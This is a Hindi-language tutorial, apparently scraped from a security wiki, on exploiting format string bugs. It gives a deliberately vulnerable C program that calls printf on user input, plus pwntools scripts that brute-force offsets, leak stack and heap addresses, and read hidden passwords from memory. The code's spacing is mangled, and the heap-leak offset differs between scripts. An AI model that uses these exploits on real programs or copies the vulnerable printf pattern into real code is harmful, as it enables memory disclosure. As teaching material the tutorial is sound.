from pwn import*p =process('./fs-read')payload =f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
ओफ़सेट 11 है क्योंकि कई एएस सेट करने और लूप के साथ ब्रूट-फोर्सिंग करने से 0 से 50 तक के ऑफसेट पर पाया गया कि ऑफसेट 11 पर और 5 अतिरिक्त वर्ण (हमारे मामले में पाइप |) के साथ, पूरा पता नियंत्रित किया जा सकता है।
मैंने %11$p का उपयोग करके पैडिंग किया ताकि मुझे यह पता चले कि पता सभी 0x4141414141414141 है
फॉर्मेट स्ट्रिंग पेलोड पते से पहले है क्योंकि printf नल बाइट पर पढ़ना बंद कर देता है, इसलिए अगर हम पता और फॉर्मेट स्ट्रिंग भेजते हैं, तो printf कभी फॉर्मेट स्ट्रिंग तक नहीं पहुंचेगा क्योंकि एक नल बाइट पहले मिल जाएगा।
चयनित पता 0x00400000 है क्योंकि यह बाइनरी की शुरुआत है (कोई PIE नहीं)
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
इसे निम्नलिखित के साथ कंपाइल करें:
clang-ofs-readfs-read.c-Wno-format-security
स्टैक से पढ़ें
stack_password स्टैक में स्टोर किया जाएगा क्योंकि यह एक स्थानीय चर है, इसलिए सिर्फ printf का दुरुपयोग करके स्टैक की सामग्री दिखाना पर्याप्त है। यह स्टैक से पासवर्ड लीक करने के लिए पहले 100 स्थानों को भरने का एक एक्सप्लॉइट है:
from pwn import*for i inrange(100):print(f"Try: {i}")payload =f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
चित्र में दिखाया गया है कि हम स्टैक से पासवर्ड को 10वें स्थान से लीक कर सकते हैं:
डेटा पढ़ें
समान एक्सप्लॉइट चलाने पर, लेकिन %s की बजाय %p के साथ, हमें स्टैक से हीप पता लीक करने की संभावना है %25$p पर। इसके अतिरिक्त, लीक हुए पते (0xaaaab7030894) की तुलना करके प्रक्रिया में पासवर्ड के स्थान के साथ हम पता लगा सकते हैं:
अब समय है कि हमें स्टैक में 1 पते को नियंत्रित कैसे करना है ताकि हम दूसरे फॉर्मेट स्ट्रिंग वलनरेबिलिटी से उस तक पहुंच सकें:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload =f"%{i}$p|||".encode()payload +=b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
और यह संभव है कि try 14 में हम उपयोग किए गए पासिंग के साथ एक पता नियंत्रित कर सकते हैं:
शिकार
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload =f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()